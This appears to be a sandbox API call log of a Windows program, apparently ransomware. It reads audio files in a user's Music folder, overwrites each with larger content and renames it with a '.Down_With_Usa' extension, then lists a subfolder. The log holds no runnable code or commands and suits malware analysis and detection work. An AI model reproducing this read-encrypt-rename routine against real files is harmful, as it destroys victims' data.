[0121.286] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\AZfehyRRmRWAEjrn.mp3", nBufferLength=0x105, lpBuffer=0x2eb340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\AZfehyRRmRWAEjrn.mp3", lpFilePart=0x0) returned 0x44
[0121.286] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb820) returned 1
[0121.286] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\AZfehyRRmRWAEjrn.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\azfehyrrmrwaejrn.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0121.288] GetFileType (hFile=0x3a8) returned 0x1
[0121.288] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb790) returned 1
[0121.288] GetFileType (hFile=0x3a8) returned 0x1
[0121.288] WriteFile (in: hFile=0x3a8, lpBuffer=0x26ea250*, nNumberOfBytesToWrite=0x4f40, lpNumberOfBytesWritten=0x2eb948, lpOverlapped=0x0 | out: lpBuffer=0x26ea250*, lpNumberOfBytesWritten=0x2eb948*=0x4f40, lpOverlapped=0x0) returned 1
[0121.290] CloseHandle (hObject=0x3a8) returned 1
[0121.308] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\AZfehyRRmRWAEjrn.mp3", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\AZfehyRRmRWAEjrn.mp3", lpFilePart=0x0) returned 0x44
[0121.308] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\AZfehyRRmRWAEjrn.mp3.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\AZfehyRRmRWAEjrn.mp3.Down_With_Usa", lpFilePart=0x0) returned 0x52
[0121.309] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb920) returned 1
[0121.309] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\AZfehyRRmRWAEjrn.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\azfehyrrmrwaejrn.mp3"), fInfoLevelId=0x0, lpFileInformation=0x2eba00 | out: lpFileInformation=0x2eba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4819b5b0, ftCreationTime.dwHighDateTime=0x1d5dc70, ftLastAccessTime.dwLowDateTime=0x6e8c5730, ftLastAccessTime.dwHighDateTime=0x1d5d8e1, ftLastWriteTime.dwLowDateTime=0x24c2a3c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4f40)) returned 1
[0121.309] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb8e0) returned 1
[0121.309] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\AZfehyRRmRWAEjrn.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\azfehyrrmrwaejrn.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\AZfehyRRmRWAEjrn.mp3.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\azfehyrrmrwaejrn.mp3.down_with_usa")) returned 1
[0121.310] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\b3TSJBCryaZJaDm58ryQ.mp3", nBufferLength=0x105, lpBuffer=0x2eb330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\b3TSJBCryaZJaDm58ryQ.mp3", lpFilePart=0x0) returned 0x48
[0121.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb810) returned 1
[0121.310] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\b3TSJBCryaZJaDm58ryQ.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\b3tsjbcryazjadm58ryq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0121.310] GetFileType (hFile=0x3a8) returned 0x1
[0121.311] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb780) returned 1
[0121.311] GetFileType (hFile=0x3a8) returned 0x1
[0121.311] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb9a8 | out: lpFileSizeHigh=0x2eb9a8*=0x0) returned 0x780c
[0121.311] ReadFile (in: hFile=0x3a8, lpBuffer=0x26ef7d0, nNumberOfBytesToRead=0x780c, lpNumberOfBytesRead=0x2eb8d8, lpOverlapped=0x0 | out: lpBuffer=0x26ef7d0*, lpNumberOfBytesRead=0x2eb8d8*=0x780c, lpOverlapped=0x0) returned 1
[0121.312] CloseHandle (hObject=0x3a8) returned 1
[0121.341] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\b3TSJBCryaZJaDm58ryQ.mp3", nBufferLength=0x105, lpBuffer=0x2eb340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\b3TSJBCryaZJaDm58ryQ.mp3", lpFilePart=0x0) returned 0x48
[0121.341] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb820) returned 1
[0121.341] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\b3TSJBCryaZJaDm58ryQ.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\b3tsjbcryazjadm58ryq.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0121.343] GetFileType (hFile=0x3a8) returned 0x1
[0121.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb790) returned 1
[0121.343] GetFileType (hFile=0x3a8) returned 0x1
[0121.343] WriteFile (in: hFile=0x3a8, lpBuffer=0x28008f0*, nNumberOfBytesToWrite=0x7810, lpNumberOfBytesWritten=0x2eb948, lpOverlapped=0x0 | out: lpBuffer=0x28008f0*, lpNumberOfBytesWritten=0x2eb948*=0x7810, lpOverlapped=0x0) returned 1
[0121.345] CloseHandle (hObject=0x3a8) returned 1
[0121.346] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\b3TSJBCryaZJaDm58ryQ.mp3", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\b3TSJBCryaZJaDm58ryQ.mp3", lpFilePart=0x0) returned 0x48
[0121.346] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\b3TSJBCryaZJaDm58ryQ.mp3.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\b3TSJBCryaZJaDm58ryQ.mp3.Down_With_Usa", lpFilePart=0x0) returned 0x56
[0121.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb920) returned 1
[0121.346] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\b3TSJBCryaZJaDm58ryQ.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\b3tsjbcryazjadm58ryq.mp3"), fInfoLevelId=0x0, lpFileInformation=0x2eba00 | out: lpFileInformation=0x2eba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6336f410, ftCreationTime.dwHighDateTime=0x1d5de0b, ftLastAccessTime.dwLowDateTime=0xf1a85ed0, ftLastAccessTime.dwHighDateTime=0x1d5e48e, ftLastWriteTime.dwLowDateTime=0x24c76680, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x7810)) returned 1
[0121.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb8e0) returned 1
[0121.346] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\b3TSJBCryaZJaDm58ryQ.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\b3tsjbcryazjadm58ryq.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\b3TSJBCryaZJaDm58ryQ.mp3.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\b3tsjbcryazjadm58ryq.mp3.down_with_usa")) returned 1
[0121.347] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\DHuo23 0Llo6bus g.wav", nBufferLength=0x105, lpBuffer=0x2eb330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\DHuo23 0Llo6bus g.wav", lpFilePart=0x0) returned 0x45
[0121.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb810) returned 1
[0121.348] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\DHuo23 0Llo6bus g.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\dhuo23 0llo6bus g.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0121.348] GetFileType (hFile=0x3a8) returned 0x1
[0121.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb780) returned 1
[0121.348] GetFileType (hFile=0x3a8) returned 0x1
[0121.348] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb9a8 | out: lpFileSizeHigh=0x2eb9a8*=0x0) returned 0x9fea
[0121.353] ReadFile (in: hFile=0x3a8, lpBuffer=0x25ff670, nNumberOfBytesToRead=0x9fea, lpNumberOfBytesRead=0x2eb8d8, lpOverlapped=0x0 | out: lpBuffer=0x25ff670*, lpNumberOfBytesRead=0x2eb8d8*=0x9fea, lpOverlapped=0x0) returned 1
[0121.354] CloseHandle (hObject=0x3a8) returned 1
[0121.379] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\DHuo23 0Llo6bus g.wav", nBufferLength=0x105, lpBuffer=0x2eb340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\DHuo23 0Llo6bus g.wav", lpFilePart=0x0) returned 0x45
[0121.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb820) returned 1
[0121.379] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\DHuo23 0Llo6bus g.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\dhuo23 0llo6bus g.wav"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0121.381] GetFileType (hFile=0x3a8) returned 0x1
[0121.381] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb790) returned 1
[0121.381] GetFileType (hFile=0x3a8) returned 0x1
[0121.381] WriteFile (in: hFile=0x3a8, lpBuffer=0x271cef0*, nNumberOfBytesToWrite=0x9ff0, lpNumberOfBytesWritten=0x2eb948, lpOverlapped=0x0 | out: lpBuffer=0x271cef0*, lpNumberOfBytesWritten=0x2eb948*=0x9ff0, lpOverlapped=0x0) returned 1
[0121.384] CloseHandle (hObject=0x3a8) returned 1
[0121.391] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\DHuo23 0Llo6bus g.wav", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\DHuo23 0Llo6bus g.wav", lpFilePart=0x0) returned 0x45
[0121.391] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\DHuo23 0Llo6bus g.wav.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\DHuo23 0Llo6bus g.wav.Down_With_Usa", lpFilePart=0x0) returned 0x53
[0121.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb920) returned 1
[0121.392] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\DHuo23 0Llo6bus g.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\dhuo23 0llo6bus g.wav"), fInfoLevelId=0x0, lpFileInformation=0x2eba00 | out: lpFileInformation=0x2eba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82fdbbf0, ftCreationTime.dwHighDateTime=0x1d5da85, ftLastAccessTime.dwLowDateTime=0xd6e10ea0, ftLastAccessTime.dwHighDateTime=0x1d5e2b1, ftLastWriteTime.dwLowDateTime=0x24ce8aa0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x9ff0)) returned 1
[0121.392] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb8e0) returned 1
[0121.392] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\DHuo23 0Llo6bus g.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\dhuo23 0llo6bus g.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\DHuo23 0Llo6bus g.wav.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\dhuo23 0llo6bus g.wav.down_with_usa")) returned 1
[0121.393] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\ogTHG1Om5_11u8EfBm.mp3", nBufferLength=0x105, lpBuffer=0x2eb330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\ogTHG1Om5_11u8EfBm.mp3", lpFilePart=0x0) returned 0x46
[0121.393] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb810) returned 1
[0121.393] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\ogTHG1Om5_11u8EfBm.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\ogthg1om5_11u8efbm.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0121.393] GetFileType (hFile=0x3a8) returned 0x1
[0121.393] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb780) returned 1
[0121.393] GetFileType (hFile=0x3a8) returned 0x1
[0121.393] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb9a8 | out: lpFileSizeHigh=0x2eb9a8*=0x0) returned 0xce11
[0121.393] ReadFile (in: hFile=0x3a8, lpBuffer=0x27275b8, nNumberOfBytesToRead=0xce11, lpNumberOfBytesRead=0x2eb8d8, lpOverlapped=0x0 | out: lpBuffer=0x27275b8*, lpNumberOfBytesRead=0x2eb8d8*=0xce11, lpOverlapped=0x0) returned 1
[0121.395] CloseHandle (hObject=0x3a8) returned 1
[0121.427] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\ogTHG1Om5_11u8EfBm.mp3", nBufferLength=0x105, lpBuffer=0x2eb340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\ogTHG1Om5_11u8EfBm.mp3", lpFilePart=0x0) returned 0x46
[0121.427] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb820) returned 1
[0121.427] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\ogTHG1Om5_11u8EfBm.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\ogthg1om5_11u8efbm.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0121.429] GetFileType (hFile=0x3a8) returned 0x1
[0121.429] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb790) returned 1
[0121.429] GetFileType (hFile=0x3a8) returned 0x1
[0121.430] WriteFile (in: hFile=0x3a8, lpBuffer=0x2646b58*, nNumberOfBytesToWrite=0xce20, lpNumberOfBytesWritten=0x2eb948, lpOverlapped=0x0 | out: lpBuffer=0x2646b58*, lpNumberOfBytesWritten=0x2eb948*=0xce20, lpOverlapped=0x0) returned 1
[0121.433] CloseHandle (hObject=0x3a8) returned 1
[0121.434] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\ogTHG1Om5_11u8EfBm.mp3", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\ogTHG1Om5_11u8EfBm.mp3", lpFilePart=0x0) returned 0x46
[0121.434] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\ogTHG1Om5_11u8EfBm.mp3.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\ogTHG1Om5_11u8EfBm.mp3.Down_With_Usa", lpFilePart=0x0) returned 0x54
[0121.434] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb920) returned 1
[0121.434] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\ogTHG1Om5_11u8EfBm.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\ogthg1om5_11u8efbm.mp3"), fInfoLevelId=0x0, lpFileInformation=0x2eba00 | out: lpFileInformation=0x2eba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43d6af90, ftCreationTime.dwHighDateTime=0x1d5e70a, ftLastAccessTime.dwLowDateTime=0xe595a790, ftLastAccessTime.dwHighDateTime=0x1d5e404, ftLastWriteTime.dwLowDateTime=0x24d5aec0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xce20)) returned 1
[0121.435] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb8e0) returned 1
[0121.435] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\ogTHG1Om5_11u8EfBm.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\ogthg1om5_11u8efbm.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\ogTHG1Om5_11u8EfBm.mp3.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\ogthg1om5_11u8efbm.mp3.down_with_usa")) returned 1
[0121.436] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb580) returned 1
[0121.436] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI", nBufferLength=0x105, lpBuffer=0x2eb070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI", lpFilePart=0x0) returned 0x3f
[0121.436] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\", nBufferLength=0x105, lpBuffer=0x2eb010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\", lpFilePart=0x0) returned 0x40
[0121.436] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\*", lpFindFileData=0x2eb220 | out: lpFindFileData=0x2eb220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b5d4ca0, ftCreationTime.dwHighDateTime=0x1d5d8ba, ftLastAccessTime.dwLowDateTime=0x6d5368e0, ftLastAccessTime.dwHighDateTime=0x1d5e3e0, ftLastWriteTime.dwLowDateTime=0x6d5368e0, ftLastWriteTime.dwHighDateTime=0x1d5e3e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0121.436] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b5d4ca0, ftCreationTime.dwHighDateTime=0x1d5d8ba, ftLastAccessTime.dwLowDateTime=0x6d5368e0, ftLastAccessTime.dwHighDateTime=0x1d5e3e0, ftLastWriteTime.dwLowDateTime=0x6d5368e0, ftLastWriteTime.dwHighDateTime=0x1d5e3e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0121.437] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x39eba260, ftCreationTime.dwHighDateTime=0x1d5df71, ftLastAccessTime.dwLowDateTime=0x3111b90, ftLastAccessTime.dwHighDateTime=0x1d5d84a, ftLastWriteTime.dwLowDateTime=0x3111b90, ftLastWriteTime.dwHighDateTime=0x1d5d84a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="-GzsoRuf3egm", cAlternateFileName="-GZSOR~1")) returned 1
[0121.437] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13145500, ftCreationTime.dwHighDateTime=0x1d5e558, ftLastAccessTime.dwLowDateTime=0x5506b760, ftLastAccessTime.dwHighDateTime=0x1d5e76e, ftLastWriteTime.dwLowDateTime=0x5506b760, ftLastWriteTime.dwHighDateTime=0x1d5e76e, nFileSizeHigh=0x0, nFileSizeLow=0x11406, dwReserved0=0x0, dwReserved1=0x0, cFileName="5z45j.wav", cAlternateFileName="")) returned 1
[0121.437] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ef31bd0, ftCreationTime.dwHighDateTime=0x1d5e2b8, ftLastAccessTime.dwLowDateTime=0x5987f8a0, ftLastAccessTime.dwHighDateTime=0x1d5da5b, ftLastWriteTime.dwLowDateTime=0x5987f8a0, ftLastWriteTime.dwHighDateTime=0x1d5da5b, nFileSizeHigh=0x0, nFileSizeLow=0x9e86, dwReserved0=0x0, dwReserved1=0x0, cFileName="J6 _CGbY4_VD.mp3", cAlternateFileName="J6_CGB~1.MP3")) returned 1
[0121.438] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x632c7720, ftCreationTime.dwHighDateTime=0x1d5e7ab, ftLastAccessTime.dwLowDateTime=0x1f4fff70, ftLastAccessTime.dwHighDateTime=0x1d5db0a, ftLastWriteTime.dwLowDateTime=0x1f4fff70, ftLastWriteTime.dwHighDateTime=0x1d5db0a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kn92Zvgz", cAlternateFileName="")) returned 1
[0121.438] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f9b39f0, ftCreationTime.dwHighDateTime=0x1d5e737, ftLastAccessTime.dwLowDateTime=0xe82d15f0, ftLastAccessTime.dwHighDateTime=0x1d5dc9e, ftLastWriteTime.dwLowDateTime=0xe82d15f0, ftLastWriteTime.dwHighDateTime=0x1d5dc9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UqZ74MPQQ3r5MXx4mHF9", cAlternateFileName="UQZ74M~1")) returned 1
[0121.438] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f9b39f0, ftCreationTime.dwHighDateTime=0x1d5e737, ftLastAccessTime.dwLowDateTime=0xe82d15f0, ftLastAccessTime.dwHighDateTime=0x1d5dc9e, ftLastWriteTime.dwLowDateTime=0xe82d15f0, ftLastWriteTime.dwHighDateTime=0x1d5dc9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UqZ74MPQQ3r5MXx4mHF9", cAlternateFileName="UQZ74M~1")) returned 0
[0121.438] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0121.439] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb4d0) returned 1
[0121.439] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb490) returned 1
[0121.439] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb580) returned 1
[0121.439] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI", nBufferLength=0x105, lpBuffer=0x2eb070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI", lpFilePart=0x0) returned 0x3f
[0121.439] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\", nBufferLength=0x105, lpBuffer=0x2eb010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\", lpFilePart=0x0) returned 0x40
